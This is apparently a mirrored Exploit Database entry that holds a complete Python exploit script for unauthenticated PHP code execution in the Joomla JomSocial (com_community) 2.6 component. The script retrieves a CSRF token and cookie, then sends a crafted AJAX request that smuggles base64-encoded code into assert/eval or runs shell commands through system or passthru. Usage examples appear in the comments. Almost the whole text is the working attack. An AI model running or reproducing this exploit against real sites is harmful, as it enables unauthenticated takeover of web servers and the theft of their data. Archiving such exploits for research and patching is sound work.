Joomla! Component com_community 2.6 – Code Execution

Exploit Database
115 阅读

作者： Matias Fontanini

日期： 2014-02-05
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/31435/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

#!/usr/bin/python

# Joomla! JomSocial component >= 2.6 PHP code execution exploit

# Authors:

# - Matias Fontanini

# - Gaston Traberg

# This exploit allows the execution of PHP code without any prior

# authentication on the Joomla! JomSocial component.

# Note that in order to be able to execute PHP code, both the "eval"

# and "assert" functions must be enabled. It is also possible to execute

# arbitrary PHP functions, without using them. Therefore, it is possible

# to execute shell commands using "system", "passthru", etc, as long

# as they are enabled.

# Examples:

# Execute PHP code:

# ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"

# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php

# Execute shell commands(using system()):

# ./exploit.py -u http://example.com/index.php -s "netstat -n"

# Exploit shell commands(using a user provided function, passthru in this case)

# ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru

# Exploit execution example:

# $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'

# [i] Retrieving cookies and anti-CSRF token... Done

# [+] Executing PHP code...

# string(12) "Hello World!"

import urllib, urllib2, re, argparse, sys, os

class Exploit:

token_request_data = 'option=com_community&view=frontpage'

exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'

json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'

def __init__(self, url, user_agent = None, use_eval = True):

self.url = url

self._set_user_agent(user_agent)

self.use_eval = use_eval

self.token_regex = re.compile('<input type=\"hidden\" name=\"([\w\d]{32})\" value=\"1\" \/>')

self.cookie, self.token = self._retrieve_token()

self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\"><br>(.*)<div id=\\\\"avatar-upload\\\\">', re.DOTALL)

self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)

def _set_user_agent(self, user_agent):

self.user_agent = user_agent

def _make_opener(self, add_cookie = True):

opener = urllib2.build_opener()

if add_cookie:

opener.addheaders.append(('Cookie', self.cookie))

opener.addheaders.append(('Referer', self.url))

if self.user_agent:

opener.addheaders.append(('User-Agent', self.user_agent))

return opener

def _retrieve_token(self):

opener = self._make_opener(False)

sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')

sys.stdout.flush()

req = opener.open(self.url, Exploit.token_request_data)

data = req.read()

token = self.token_regex.findall(data)

if len(token) < 1:

print 'Failed'

raise Exception("Could not retrieve anti-CSRF token")

print 'Done'

return (req.headers['Set-Cookie'], token[0])

def _do_call_function(self, function, parameter):

parameter = parameter.replace('"', '\\"')

json_data = Exploit.json_data.format(function, parameter)

json_data = urllib2.quote(json_data)

data = Exploit.exploit_request_data.format(self.token, json_data)

opener = self._make_opener()

req = opener.open(self.url, data)

if function == 'assert':

return req.read()

elif function in ['system', 'passthru']:

result = self.command_regex.findall(req.read())

if len(result) == 1:

return result[0]

else:

return "[+] Error executing command."

else:

result = self.result_regex.findall(req.read())

if len(result) == 1:

return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')

else:

return "[+] Error executing command."

def call_function(self, function, parameter):

if self.use_eval:

return self.eval("echo {0}('{1}')".format(function, parameter))

else:

return self._do_call_function(function, parameter)

def disabled_functions(self):

return self.call_function("ini_get", "disable_functions")

def test_injection(self):

result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")

if 'HELLO - WORLD' in result:

print "[+] Code injection using eval works"

else:

print "[+] Code injection doesn't work. Try executing shell commands."

def eval(self, code):

if code [-1] != ';':

code = code + ';'

return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))

parser = argparse.ArgumentParser(

description="JomSocial >= 2.6 - Code execution exploit"

)

parser.add_argument('-u', '--url', help='the base URL', required=True)

parser.add_argument(

'-p',

'--php-code',

help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')

parser.add_argument('-s', '--shell-command', help='the shell command to execute')

parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")

parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)

parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)

args = parser.parse_args()

if not args.test and not args.php_code and not args.shell_command:

print '[-] Need -p, -t or -s to do something...'

exit(1)

url = args.url

try:

if not url.startswith('http://') and not url.startswith('https://'):

url = 'http://' + url

exploit = Exploit(url, use_eval=args.no_eval)

if args.test:

exploit.test_injection()

elif args.php_code:

code = args.php_code

if args.php_code == '-':

print '[i] Enter the code to be executed:'

code = sys.stdin.read()

elif os.path.isfile(code):

try:

fd = open(code)

code = fd.read()

fd.close()

except Exception:

print "[-] Error reading the file."

exit(1)

print '[+] Executing PHP code...'

print exploit.eval(code)

elif args.shell_command:

print exploit.call_function(args.shell_function, args.shell_command)

except Exception as ex:

print '[+] Error: ' + str(ex)